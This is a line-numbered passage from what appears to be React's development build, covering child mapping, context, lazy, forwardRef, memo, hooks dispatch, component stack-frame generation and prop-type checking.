1061 if (mappedChild.key && (!_child || _child.key !== mappedChild.key)) {
1062 checkKeyStringCoercion(mappedChild.key);
1063 }
1064 }
1065
1066 mappedChild = cloneAndReplaceKey(mappedChild, // Keep both the (mapped) and old keys if they differ, just as
1067 // traverseAllChildren used to do for objects as children
1068 escapedPrefix + ( // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
1069 mappedChild.key && (!_child || _child.key !== mappedChild.key) ? // $FlowFixMe Flow incorrectly thinks existing element's key can be a number
1070 // eslint-disable-next-line react-internal/safe-string-coercion
1071 escapeUserProvidedKey('' + mappedChild.key) + '/' : '') + childKey);
1072 }
1073
1074 array.push(mappedChild);
1075 }
1076
1077 return 1;
1078 }
1079
1080 var child;
1081 var nextName;
1082 var subtreeCount = 0; // Count of children found in the current subtree.
1083
1084 var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;
1085
1086 if (isArray(children)) {
1087 for (var i = 0; i < children.length; i++) {
1088 child = children[i];
1089 nextName = nextNamePrefix + getElementKey(child, i);
1090 subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
1091 }
1092 } else {
1093 var iteratorFn = getIteratorFn(children);
1094
1095 if (typeof iteratorFn === 'function') {
1096 var iterableChildren = children;
1097
1098 {
1099 // Warn about using Maps as children
1100 if (iteratorFn === iterableChildren.entries) {
1101 if (!didWarnAboutMaps) {
1102 warn('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
1103 }
1104
1105 didWarnAboutMaps = true;
1106 }
1107 }
1108
1109 var iterator = iteratorFn.call(iterableChildren);
1110 var step;
1111 var ii = 0;
1112
1113 while (!(step = iterator.next()).done) {
1114 child = step.value;
1115 nextName = nextNamePrefix + getElementKey(child, ii++);
1116 subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
1117 }
1118 } else if (type === 'object') {
1119 // eslint-disable-next-line react-internal/safe-string-coercion
1120 var childrenString = String(children);
1121 throw new Error("Objects are not valid as a React child (found: " + (childrenString === '[object Object]' ? 'object with keys {' + Object.keys(children).join(', ') + '}' : childrenString) + "). " + 'If you meant to render a collection of children, use an array ' + 'instead.');
1122 }
1123 }
1124
1125 return subtreeCount;
1126 }
1127
1128 /**
1129 * Maps children that are typically specified as `props.children`.
1130 *
1131 * See https://reactjs.org/docs/react-api.html#reactchildrenmap
1132 *
1133 * The provided mapFunction(child, index) will be called for each
1134 * leaf child.
1135 *
1136 * @param {?*} children Children tree container.
1137 * @param {function(*, int)} func The map function.
1138 * @param {*} context Context for mapFunction.
1139 * @return {object} Object containing the ordered map of results.
1140 */
1141 function mapChildren(children, func, context) {
1142 if (children == null) {
1143 return children;
1144 }
1145
1146 var result = [];
1147 var count = 0;
1148 mapIntoArray(children, result, '', '', function (child) {
1149 return func.call(context, child, count++);
1150 });
1151 return result;
1152 }
1153 /**
1154 * Count the number of children that are typically specified as
1155 * `props.children`.
1156 *
1157 * See https://reactjs.org/docs/react-api.html#reactchildrencount
1158 *
1159 * @param {?*} children Children tree container.
1160 * @return {number} The number of children.
1161 */
1162
1163
1164 function countChildren(children) {
1165 var n = 0;
1166 mapChildren(children, function () {
1167 n++; // Don't return anything
1168 });
1169 return n;
1170 }
1171
1172 /**
1173 * Iterates through children that are typically specified as `props.children`.
1174 *
1175 * See https://reactjs.org/docs/react-api.html#reactchildrenforeach
1176 *
1177 * The provided forEachFunc(child, index) will be called for each
1178 * leaf child.
1179 *
1180 * @param {?*} children Children tree container.
1181 * @param {function(*, int)} forEachFunc
1182 * @param {*} forEachContext Context for forEachContext.
1183 */
1184 function forEachChildren(children, forEachFunc, forEachContext) {
1185 mapChildren(children, function () {
1186 forEachFunc.apply(this, arguments); // Don't return anything.
1187 }, forEachContext);
1188 }
1189 /**
1190 * Flatten a children object (typically specified as `props.children`) and
1191 * return an array with appropriately re-keyed children.
1192 *
1193 * See https://reactjs.org/docs/react-api.html#reactchildrentoarray
1194 */
1195
1196
1197 function toArray(children) {
1198 return mapChildren(children, function (child) {
1199 return child;
1200 }) || [];
1201 }
1202 /**
1203 * Returns the first child in a collection of children and verifies that there
1204 * is only one child in the collection.
1205 *
1206 * See https://reactjs.org/docs/react-api.html#reactchildrenonly
1207 *
1208 * The current implementation of this function assumes that a single child gets
1209 * passed without a wrapper, but the purpose of this helper function is to
1210 * abstract away the particular structure of children.
1211 *
1212 * @param {?object} children Child collection structure.
1213 * @return {ReactElement} The first and only `ReactElement` contained in the
1214 * structure.
1215 */
1216
1217
1218 function onlyChild(children) {
1219 if (!isValidElement(children)) {
1220 throw new Error('React.Children.only expected to receive a single React element child.');
1221 }
1222
1223 return children;
1224 }
1225
1226 function createContext(defaultValue) {
1227 // TODO: Second argument used to be an optional `calculateChangedBits`
1228 // function. Warn to reserve for future use?
1229 var context = {
1230 $$typeof: REACT_CONTEXT_TYPE,
1231 // As a workaround to support multiple concurrent renderers, we categorize
1232 // some renderers as primary and others as secondary. We only expect
1233 // there to be two concurrent renderers at most: React Native (primary) and
1234 // Fabric (secondary); React DOM (primary) and React ART (secondary).
1235 // Secondary renderers store their context values on separate fields.
1236 _currentValue: defaultValue,
1237 _currentValue2: defaultValue,
1238 // Used to track how many concurrent renderers this context currently
1239 // supports within in a single renderer. Such as parallel server rendering.
1240 _threadCount: 0,
1241 // These are circular
1242 Provider: null,
1243 Consumer: null,
1244 // Add these to use same hidden class in VM as ServerContext
1245 _defaultValue: null,
1246 _globalName: null
1247 };
1248 context.Provider = {
1249 $$typeof: REACT_PROVIDER_TYPE,
1250 _context: context
1251 };
1252 var hasWarnedAboutUsingNestedContextConsumers = false;
1253 var hasWarnedAboutUsingConsumerProvider = false;
1254 var hasWarnedAboutDisplayNameOnConsumer = false;
1255
1256 {
1257 // A separate object, but proxies back to the original context object for
1258 // backwards compatibility. It has a different $$typeof, so we can properly
1259 // warn for the incorrect usage of Context as a Consumer.
1260 var Consumer = {
1261 $$typeof: REACT_CONTEXT_TYPE,
1262 _context: context
1263 }; // $FlowFixMe: Flow complains about not setting a value, which is intentional here
1264
1265 Object.defineProperties(Consumer, {
1266 Provider: {
1267 get: function () {
1268 if (!hasWarnedAboutUsingConsumerProvider) {
1269 hasWarnedAboutUsingConsumerProvider = true;
1270
1271 error('Rendering <Context.Consumer.Provider> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Provider> instead?');
1272 }
1273
1274 return context.Provider;
1275 },
1276 set: function (_Provider) {
1277 context.Provider = _Provider;
1278 }
1279 },
1280 _currentValue: {
1281 get: function () {
1282 return context._currentValue;
1283 },
1284 set: function (_currentValue) {
1285 context._currentValue = _currentValue;
1286 }
1287 },
1288 _currentValue2: {
1289 get: function () {
1290 return context._currentValue2;
1291 },
1292 set: function (_currentValue2) {
1293 context._currentValue2 = _currentValue2;
1294 }
1295 },
1296 _threadCount: {
1297 get: function () {
1298 return context._threadCount;
1299 },
1300 set: function (_threadCount) {
1301 context._threadCount = _threadCount;
1302 }
1303 },
1304 Consumer: {
1305 get: function () {
1306 if (!hasWarnedAboutUsingNestedContextConsumers) {
1307 hasWarnedAboutUsingNestedContextConsumers = true;
1308
1309 error('Rendering <Context.Consumer.Consumer> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
1310 }
1311
1312 return context.Consumer;
1313 }
1314 },
1315 displayName: {
1316 get: function () {
1317 return context.displayName;
1318 },
1319 set: function (displayName) {
1320 if (!hasWarnedAboutDisplayNameOnConsumer) {
1321 warn('Setting `displayName` on Context.Consumer has no effect. ' + "You should set it directly on the context with Context.displayName = '%s'.", displayName);
1322
1323 hasWarnedAboutDisplayNameOnConsumer = true;
1324 }
1325 }
1326 }
1327 }); // $FlowFixMe: Flow complains about missing properties because it doesn't understand defineProperty
1328
1329 context.Consumer = Consumer;
1330 }
1331
1332 {
1333 context._currentRenderer = null;
1334 context._currentRenderer2 = null;
1335 }
1336
1337 return context;
1338 }
1339
1340 var Uninitialized = -1;
1341 var Pending = 0;
1342 var Resolved = 1;
1343 var Rejected = 2;
1344
1345 function lazyInitializer(payload) {
1346 if (payload._status === Uninitialized) {
1347 var ctor = payload._result;
1348 var thenable = ctor(); // Transition to the next state.
1349 // This might throw either because it's missing or throws. If so, we treat it
1350 // as still uninitialized and try again next time. Which is the same as what
1351 // happens if the ctor or any wrappers processing the ctor throws. This might
1352 // end up fixing it if the resolution was a concurrency bug.
1353
1354 thenable.then(function (moduleObject) {
1355 if (payload._status === Pending || payload._status === Uninitialized) {
1356 // Transition to the next state.
1357 var resolved = payload;
1358 resolved._status = Resolved;
1359 resolved._result = moduleObject;
1360 }
1361 }, function (error) {
1362 if (payload._status === Pending || payload._status === Uninitialized) {
1363 // Transition to the next state.
1364 var rejected = payload;
1365 rejected._status = Rejected;
1366 rejected._result = error;
1367 }
1368 });
1369
1370 if (payload._status === Uninitialized) {
1371 // In case, we're still uninitialized, then we're waiting for the thenable
1372 // to resolve. Set it as pending in the meantime.
1373 var pending = payload;
1374 pending._status = Pending;
1375 pending._result = thenable;
1376 }
1377 }
1378
1379 if (payload._status === Resolved) {
1380 var moduleObject = payload._result;
1381
1382 {
1383 if (moduleObject === undefined) {
1384 error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
1385 'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))\n\n" + 'Did you accidentally put curly braces around the import?', moduleObject);
1386 }
1387 }
1388
1389 {
1390 if (!('default' in moduleObject)) {
1391 error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
1392 'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))", moduleObject);
1393 }
1394 }
1395
1396 return moduleObject.default;
1397 } else {
1398 throw payload._result;
1399 }
1400 }
1401
1402 function lazy(ctor) {
1403 var payload = {
1404 // We use these fields to store the result.
1405 _status: Uninitialized,
1406 _result: ctor
1407 };
1408 var lazyType = {
1409 $$typeof: REACT_LAZY_TYPE,
1410 _payload: payload,
1411 _init: lazyInitializer
1412 };
1413
1414 {
1415 // In production, this would just set it on the object.
1416 var defaultProps;
1417 var propTypes; // $FlowFixMe
1418
1419 Object.defineProperties(lazyType, {
1420 defaultProps: {
1421 configurable: true,
1422 get: function () {
1423 return defaultProps;
1424 },
1425 set: function (newDefaultProps) {
1426 error('React.lazy(...): It is not supported to assign `defaultProps` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
1427
1428 defaultProps = newDefaultProps; // Match production behavior more closely:
1429 // $FlowFixMe
1430
1431 Object.defineProperty(lazyType, 'defaultProps', {
1432 enumerable: true
1433 });
1434 }
1435 },
1436 propTypes: {
1437 configurable: true,
1438 get: function () {
1439 return propTypes;
1440 },
1441 set: function (newPropTypes) {
1442 error('React.lazy(...): It is not supported to assign `propTypes` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
1443
1444 propTypes = newPropTypes; // Match production behavior more closely:
1445 // $FlowFixMe
1446
1447 Object.defineProperty(lazyType, 'propTypes', {
1448 enumerable: true
1449 });
1450 }
1451 }
1452 });
1453 }
1454
1455 return lazyType;
1456 }
1457
1458 function forwardRef(render) {
1459 {
1460 if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
1461 error('forwardRef requires a render function but received a `memo` ' + 'component. Instead of forwardRef(memo(...)), use ' + 'memo(forwardRef(...)).');
1462 } else if (typeof render !== 'function') {
1463 error('forwardRef requires a render function but was given %s.', render === null ? 'null' : typeof render);
1464 } else {
1465 if (render.length !== 0 && render.length !== 2) {
1466 error('forwardRef render functions accept exactly two parameters: props and ref. %s', render.length === 1 ? 'Did you forget to use the ref parameter?' : 'Any additional parameter will be undefined.');
1467 }
1468 }
1469
1470 if (render != null) {
1471 if (render.defaultProps != null || render.propTypes != null) {
1472 error('forwardRef render functions do not support propTypes or defaultProps. ' + 'Did you accidentally pass a React component?');
1473 }
1474 }
1475 }
1476
1477 var elementType = {
1478 $$typeof: REACT_FORWARD_REF_TYPE,
1479 render: render
1480 };
1481
1482 {
1483 var ownName;
1484 Object.defineProperty(elementType, 'displayName', {
1485 enumerable: false,
1486 configurable: true,
1487 get: function () {
1488 return ownName;
1489 },
1490 set: function (name) {
1491 ownName = name; // The inner component shouldn't inherit this display name in most cases,
1492 // because the component may be used elsewhere.
1493 // But it's nice for anonymous functions to inherit the name,
1494 // so that our component-stack generation logic will display their frames.
1495 // An anonymous function generally suggests a pattern like:
1496 // React.forwardRef((props, ref) => {...});
1497 // This kind of inner function is not used elsewhere so the side effect is okay.
1498
1499 if (!render.name && !render.displayName) {
1500 render.displayName = name;
1501 }
1502 }
1503 });
1504 }
1505
1506 return elementType;
1507 }
1508
1509 var REACT_MODULE_REFERENCE;
1510
1511 {
1512 REACT_MODULE_REFERENCE = Symbol.for('react.module.reference');
1513 }
1514
1515 function isValidElementType(type) {
1516 if (typeof type === 'string' || typeof type === 'function') {
1517 return true;
1518 } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).
1519
1520
1521 if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCacheElement || enableTransitionTracing ) {
1522 return true;
1523 }
1524
1525 if (typeof type === 'object' && type !== null) {
1526 if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
1527 // types supported by any Flight configuration anywhere since
1528 // we don't know which Flight build this will end up being used
1529 // with.
1530 type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== undefined) {
1531 return true;
1532 }
1533 }
1534
1535 return false;
1536 }
1537
1538 function memo(type, compare) {
1539 {
1540 if (!isValidElementType(type)) {
1541 error('memo: The first argument must be a component. Instead ' + 'received: %s', type === null ? 'null' : typeof type);
1542 }
1543 }
1544
1545 var elementType = {
1546 $$typeof: REACT_MEMO_TYPE,
1547 type: type,
1548 compare: compare === undefined ? null : compare
1549 };
1550
1551 {
1552 var ownName;
1553 Object.defineProperty(elementType, 'displayName', {
1554 enumerable: false,
1555 configurable: true,
1556 get: function () {
1557 return ownName;
1558 },
1559 set: function (name) {
1560 ownName = name; // The inner component shouldn't inherit this display name in most cases,
1561 // because the component may be used elsewhere.
1562 // But it's nice for anonymous functions to inherit the name,
1563 // so that our component-stack generation logic will display their frames.
1564 // An anonymous function generally suggests a pattern like:
1565 // React.memo((props) => {...});
1566 // This kind of inner function is not used elsewhere so the side effect is okay.
1567
1568 if (!type.name && !type.displayName) {
1569 type.displayName = name;
1570 }
1571 }
1572 });
1573 }
1574
1575 return elementType;
1576 }
1577
1578 function resolveDispatcher() {
1579 var dispatcher = ReactCurrentDispatcher.current;
1580
1581 {
1582 if (dispatcher === null) {
1583 error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
1584 }
1585 } // Will result in a null access error if accessed outside render phase. We
1586 // intentionally don't throw our own error because this is in a hot path.
1587 // Also helps ensure this is inlined.
1588
1589
1590 return dispatcher;
1591 }
1592 function useContext(Context) {
1593 var dispatcher = resolveDispatcher();
1594
1595 {
1596 // TODO: add a more generic warning for invalid values.
1597 if (Context._context !== undefined) {
1598 var realContext = Context._context; // Don't deduplicate because this legitimately causes bugs
1599 // and nobody should be using this in existing code.
1600
1601 if (realContext.Consumer === Context) {
1602 error('Calling useContext(Context.Consumer) is not supported, may cause bugs, and will be ' + 'removed in a future major release. Did you mean to call useContext(Context) instead?');
1603 } else if (realContext.Provider === Context) {
1604 error('Calling useContext(Context.Provider) is not supported. ' + 'Did you mean to call useContext(Context) instead?');
1605 }
1606 }
1607 }
1608
1609 return dispatcher.useContext(Context);
1610 }
1611 function useState(initialState) {
1612 var dispatcher = resolveDispatcher();
1613 return dispatcher.useState(initialState);
1614 }
1615 function useReducer(reducer, initialArg, init) {
1616 var dispatcher = resolveDispatcher();
1617 return dispatcher.useReducer(reducer, initialArg, init);
1618 }
1619 function useRef(initialValue) {
1620 var dispatcher = resolveDispatcher();
1621 return dispatcher.useRef(initialValue);
1622 }
1623 function useEffect(create, deps) {
1624 var dispatcher = resolveDispatcher();
1625 return dispatcher.useEffect(create, deps);
1626 }
1627 function useInsertionEffect(create, deps) {
1628 var dispatcher = resolveDispatcher();
1629 return dispatcher.useInsertionEffect(create, deps);
1630 }
1631 function useLayoutEffect(create, deps) {
1632 var dispatcher = resolveDispatcher();
1633 return dispatcher.useLayoutEffect(create, deps);
1634 }
1635 function useCallback(callback, deps) {
1636 var dispatcher = resolveDispatcher();
1637 return dispatcher.useCallback(callback, deps);
1638 }
1639 function useMemo(create, deps) {
1640 var dispatcher = resolveDispatcher();
1641 return dispatcher.useMemo(create, deps);
1642 }
1643 function useImperativeHandle(ref, create, deps) {
1644 var dispatcher = resolveDispatcher();
1645 return dispatcher.useImperativeHandle(ref, create, deps);
1646 }
1647 function useDebugValue(value, formatterFn) {
1648 {
1649 var dispatcher = resolveDispatcher();
1650 return dispatcher.useDebugValue(value, formatterFn);
1651 }
1652 }
1653 function useTransition() {
1654 var dispatcher = resolveDispatcher();
1655 return dispatcher.useTransition();
1656 }
1657 function useDeferredValue(value) {
1658 var dispatcher = resolveDispatcher();
1659 return dispatcher.useDeferredValue(value);
1660 }
1661 function useId() {
1662 var dispatcher = resolveDispatcher();
1663 return dispatcher.useId();
1664 }
1665 function useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
1666 var dispatcher = resolveDispatcher();
1667 return dispatcher.useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
1668 }
1669
1670 // Helpers to patch console.logs to avoid logging during side-effect free
1671 // replaying on render function. This currently only patches the object
1672 // lazily which won't cover if the log function was extracted eagerly.
1673 // We could also eagerly patch the method.
1674 var disabledDepth = 0;
1675 var prevLog;
1676 var prevInfo;
1677 var prevWarn;
1678 var prevError;
1679 var prevGroup;
1680 var prevGroupCollapsed;
1681 var prevGroupEnd;
1682
1683 function disabledLog() {}
1684
1685 disabledLog.__reactDisabledLog = true;
1686 function disableLogs() {
1687 {
1688 if (disabledDepth === 0) {
1689 /* eslint-disable react-internal/no-production-logging */
1690 prevLog = console.log;
1691 prevInfo = console.info;
1692 prevWarn = console.warn;
1693 prevError = console.error;
1694 prevGroup = console.group;
1695 prevGroupCollapsed = console.groupCollapsed;
1696 prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099
1697
1698 var props = {
1699 configurable: true,
1700 enumerable: true,
1701 value: disabledLog,
1702 writable: true
1703 }; // $FlowFixMe Flow thinks console is immutable.
1704
1705 Object.defineProperties(console, {
1706 info: props,
1707 log: props,
1708 warn: props,
1709 error: props,
1710 group: props,
1711 groupCollapsed: props,
1712 groupEnd: props
1713 });
1714 /* eslint-enable react-internal/no-production-logging */
1715 }
1716
1717 disabledDepth++;
1718 }
1719 }
1720 function reenableLogs() {
1721 {
1722 disabledDepth--;
1723
1724 if (disabledDepth === 0) {
1725 /* eslint-disable react-internal/no-production-logging */
1726 var props = {
1727 configurable: true,
1728 enumerable: true,
1729 writable: true
1730 }; // $FlowFixMe Flow thinks console is immutable.
1731
1732 Object.defineProperties(console, {
1733 log: assign({}, props, {
1734 value: prevLog
1735 }),
1736 info: assign({}, props, {
1737 value: prevInfo
1738 }),
1739 warn: assign({}, props, {
1740 value: prevWarn
1741 }),
1742 error: assign({}, props, {
1743 value: prevError
1744 }),
1745 group: assign({}, props, {
1746 value: prevGroup
1747 }),
1748 groupCollapsed: assign({}, props, {
1749 value: prevGroupCollapsed
1750 }),
1751 groupEnd: assign({}, props, {
1752 value: prevGroupEnd
1753 })
1754 });
1755 /* eslint-enable react-internal/no-production-logging */
1756 }
1757
1758 if (disabledDepth < 0) {
1759 error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
1760 }
1761 }
1762 }
1763
1764 var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher;
1765 var prefix;
1766 function describeBuiltInComponentFrame(name, source, ownerFn) {
1767 {
1768 if (prefix === undefined) {
1769 // Extract the VM specific prefix used by each line.
1770 try {
1771 throw Error();
1772 } catch (x) {
1773 var match = x.stack.trim().match(/\n( *(at )?)/);
1774 prefix = match && match[1] || '';
1775 }
1776 } // We use the prefix to ensure our stacks line up with native stack frames.
1777
1778
1779 return '\n' + prefix + name;
1780 }
1781 }
1782 var reentry = false;
1783 var componentFrameCache;
1784
1785 {
1786 var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
1787 componentFrameCache = new PossiblyWeakMap();
1788 }
1789
1790 function describeNativeComponentFrame(fn, construct) {
1791 // If something asked for a stack inside a fake render, it should get ignored.
1792 if ( !fn || reentry) {
1793 return '';
1794 }
1795
1796 {
1797 var frame = componentFrameCache.get(fn);
1798
1799 if (frame !== undefined) {
1800 return frame;
1801 }
1802 }
1803
1804 var control;
1805 reentry = true;
1806 var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.
1807
1808 Error.prepareStackTrace = undefined;
1809 var previousDispatcher;
1810
1811 {
1812 previousDispatcher = ReactCurrentDispatcher$1.current; // Set the dispatcher in DEV because this might be call in the render function
1813 // for warnings.
1814
1815 ReactCurrentDispatcher$1.current = null;
1816 disableLogs();
1817 }
1818
1819 try {
1820 // This should throw.
1821 if (construct) {
1822 // Something should be setting the props in the constructor.
1823 var Fake = function () {
1824 throw Error();
1825 }; // $FlowFixMe
1826
1827
1828 Object.defineProperty(Fake.prototype, 'props', {
1829 set: function () {
1830 // We use a throwing setter instead of frozen or non-writable props
1831 // because that won't throw in a non-strict mode function.
1832 throw Error();
1833 }
1834 });
1835
1836 if (typeof Reflect === 'object' && Reflect.construct) {
1837 // We construct a different control for this case to include any extra
1838 // frames added by the construct call.
1839 try {
1840 Reflect.construct(Fake, []);
1841 } catch (x) {
1842 control = x;
1843 }
1844
1845 Reflect.construct(fn, [], Fake);
1846 } else {
1847 try {
1848 Fake.call();
1849 } catch (x) {
1850 control = x;
1851 }
1852
1853 fn.call(Fake.prototype);
1854 }
1855 } else {
1856 try {
1857 throw Error();
1858 } catch (x) {
1859 control = x;
1860 }
1861
1862 fn();
1863 }
1864 } catch (sample) {
1865 // This is inlined manually because closure doesn't do it for us.
1866 if (sample && control && typeof sample.stack === 'string') {
1867 // This extracts the first frame from the sample that isn't also in the control.
1868 // Skipping one frame that we assume is the frame that calls the two.
1869 var sampleLines = sample.stack.split('\n');
1870 var controlLines = control.stack.split('\n');
1871 var s = sampleLines.length - 1;
1872 var c = controlLines.length - 1;
1873
1874 while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
1875 // We expect at least one stack frame to be shared.
1876 // Typically this will be the root most one. However, stack frames may be
1877 // cut off due to maximum stack limits. In this case, one maybe cut off
1878 // earlier than the other. We assume that the sample is longer or the same
1879 // and there for cut off earlier. So we should find the root most frame in
1880 // the sample somewhere in the control.
1881 c--;
1882 }
1883
1884 for (; s >= 1 && c >= 0; s--, c--) {
1885 // Next we find the first one that isn't the same which should be the
1886 // frame that called our sample function and the control.
1887 if (sampleLines[s] !== controlLines[c]) {
1888 // In V8, the first line is describing the message but other VMs don't.
1889 // If we're about to return the first line, and the control is also on the same
1890 // line, that's a pretty good indicator that our sample threw at same line as
1891 // the control. I.e. before we entered the sample frame. So we ignore this result.
1892 // This can happen if you passed a class to function component, or non-function.
1893 if (s !== 1 || c !== 1) {
1894 do {
1895 s--;
1896 c--; // We may still have similar intermediate frames from the construct call.
1897 // The next one that isn't the same should be our match though.
1898
1899 if (c < 0 || sampleLines[s] !== controlLines[c]) {
1900 // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
1901 var _frame = '\n' + sampleLines[s].replace(' at new ', ' at '); // If our component frame is labeled "<anonymous>"
1902 // but we have a user-provided "displayName"
1903 // splice it in to make the stack more readable.
1904
1905
1906 if (fn.displayName && _frame.includes('<anonymous>')) {
1907 _frame = _frame.replace('<anonymous>', fn.displayName);
1908 }
1909
1910 {
1911 if (typeof fn === 'function') {
1912 componentFrameCache.set(fn, _frame);
1913 }
1914 } // Return the line we found.
1915
1916
1917 return _frame;
1918 }
1919 } while (s >= 1 && c >= 0);
1920 }
1921
1922 break;
1923 }
1924 }
1925 }
1926 } finally {
1927 reentry = false;
1928
1929 {
1930 ReactCurrentDispatcher$1.current = previousDispatcher;
1931 reenableLogs();
1932 }
1933
1934 Error.prepareStackTrace = previousPrepareStackTrace;
1935 } // Fallback to just using the name if we couldn't make it throw.
1936
1937
1938 var name = fn ? fn.displayName || fn.name : '';
1939 var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
1940
1941 {
1942 if (typeof fn === 'function') {
1943 componentFrameCache.set(fn, syntheticFrame);
1944 }
1945 }
1946
1947 return syntheticFrame;
1948 }
1949 function describeFunctionComponentFrame(fn, source, ownerFn) {
1950 {
1951 return describeNativeComponentFrame(fn, false);
1952 }
1953 }
1954
1955 function shouldConstruct(Component) {
1956 var prototype = Component.prototype;
1957 return !!(prototype && prototype.isReactComponent);
1958 }
1959
1960 function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
1961
1962 if (type == null) {
1963 return '';
1964 }
1965
1966 if (typeof type === 'function') {
1967 {
1968 return describeNativeComponentFrame(type, shouldConstruct(type));
1969 }
1970 }
1971
1972 if (typeof type === 'string') {
1973 return describeBuiltInComponentFrame(type);
1974 }
1975
1976 switch (type) {
1977 case REACT_SUSPENSE_TYPE:
1978 return describeBuiltInComponentFrame('Suspense');
1979
1980 case REACT_SUSPENSE_LIST_TYPE:
1981 return describeBuiltInComponentFrame('SuspenseList');
1982 }
1983
1984 if (typeof type === 'object') {
1985 switch (type.$$typeof) {
1986 case REACT_FORWARD_REF_TYPE:
1987 return describeFunctionComponentFrame(type.render);
1988
1989 case REACT_MEMO_TYPE:
1990 // Memo may contain any component type so we recursively resolve it.
1991 return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
1992
1993 case REACT_LAZY_TYPE:
1994 {
1995 var lazyComponent = type;
1996 var payload = lazyComponent._payload;
1997 var init = lazyComponent._init;
1998
1999 try {
2000 // Lazy may contain any component type so we recursively resolve it.
2001 return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
2002 } catch (x) {}
2003 }
2004 }
2005 }
2006
2007 return '';
2008 }
2009
2010 var loggedTypeFailures = {};
2011 var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
2012
2013 function setCurrentlyValidatingElement(element) {
2014 {
2015 if (element) {
2016 var owner = element._owner;
2017 var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
2018 ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
2019 } else {
2020 ReactDebugCurrentFrame$1.setExtraStackFrame(null);
2021 }
2022 }
2023 }
2024
2025 function checkPropTypes(typeSpecs, values, location, componentName, element) {
2026 {
2027 // $FlowFixMe This is okay but Flow doesn't know it.
2028 var has = Function.call.bind(hasOwnProperty);
2029
2030 for (var typeSpecName in typeSpecs) {
2031 if (has(typeSpecs, typeSpecName)) {
2032 var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
2033 // fail the render phase where it didn't fail before. So we log it.
2034 // After these have been cleaned up, we'll let them throw.
2035
2036 try {
2037 // This is intentionally an invariant that gets caught. It's the same
2038 // behavior as without this statement except with a better message.
2039 if (typeof typeSpecs[typeSpecName] !== 'function') {
2040 // eslint-disable-next-line react-internal/prod-error-codes
2041 var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
2042 err.name = 'Invariant Violation';
2043 throw err;
2044 }
2045
2046 error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
2047 } catch (ex) {
2048 error$1 = ex;
2049 }
2050
2051 if (error$1 && !(error$1 instanceof Error)) {
2052 setCurrentlyValidatingElement(element);
2053
2054 error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);
2055
2056 setCurrentlyValidatingElement(null);
2057 }
2058
2059 if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
2060 // Only monitor this failure once because there tends to be a lot of the
2061 // same error.
2062 loggedTypeFailures[error$1.message] = true;
2063 setCurrentlyValidatingElement(element);
2064
2065 error('Failed %s type: %s', location, error$1.message);
2066
2067 setCurrentlyValidatingElement(null);
2068 }
2069 }
2070 }
2071 }
2072 }
2073
2074 function setCurrentlyValidatingElement$1(element) {
2075 {
2076 if (element) {
2077 var owner = element._owner;
